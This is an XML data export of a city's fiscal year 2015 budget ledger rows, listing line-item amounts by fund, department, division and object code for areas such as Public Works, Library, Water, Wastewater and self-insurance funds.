<row _id="14043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="14045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5561884.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5561884.0</total></row>
<row _id="14046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="14047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1158670.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1158670.0</total></row>
<row _id="14048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>666368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>666368.0</total></row>
<row _id="14049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18000.0</total></row>
<row _id="14050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555070.0</object><object_description>RECYCLING/DISPOSAL FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3920000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3920000.0</total></row>
<row _id="14051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>285.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>285.0</total></row>
<row _id="14052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1505.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1505.0</total></row>
<row _id="14053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2755.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2755.0</total></row>
<row _id="14054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="14055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>284345.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>284345.0</total></row>
<row _id="14056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>81100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>81100.0</total></row>
<row _id="14057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="14058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-150000.0</total></row>
<row _id="14059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>400680.0</object><object_description>AMBULANCE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10510.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10510.0</total></row>
<row _id="14061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18021.0</total></row>
<row _id="14062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>74000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74000.0</total></row>
<row _id="14063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>348000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>348000.0</total></row>
<row _id="14064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566450.0</object><object_description>SEWAGE PUMP PLANT MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>381750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>381750.0</total></row>
<row _id="14065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2279.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2279.0</total></row>
<row _id="14066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>110327.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110327.0</total></row>
<row _id="14067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>259590.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>259590.0</total></row>
<row _id="14068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15270.0</total></row>
<row _id="14069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>517845.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>517845.0</total></row>
<row _id="14070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566220.0</object><object_description>CONVENTION / VISITORS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2591198.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2591198.0</total></row>
<row _id="14071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>994675.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>994675.0</total></row>
<row _id="14072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9135.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9135.0</total></row>
<row _id="14073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>33326.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33326.0</total></row>
<row _id="14074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522940.0</object><object_description>VEHICLES - INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16108.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16108.0</total></row>
<row _id="14077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>111980.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111980.0</total></row>
<row _id="14078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="14079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>555300.0</object><object_description>LIBRARY BOND DEBT SERVICE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1433050.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1433050.0</total></row>
<row _id="14080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="14081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-220169.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-220169.0</total></row>
<row _id="14082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577760.0</object><object_description>CDBG REIMB-HOUSING &amp; ECON DEV</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-85000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-85000.0</total></row>
<row _id="14083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="14084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>80455.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80455.0</total></row>
<row _id="14085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>738583.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>738583.0</total></row>
<row _id="14086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="14087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7600000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7600000.0</total></row>
<row _id="14088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1437545.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1437545.0</total></row>
<row _id="14089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>43143.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43143.0</total></row>
<row _id="14090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22230.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22230.0</total></row>
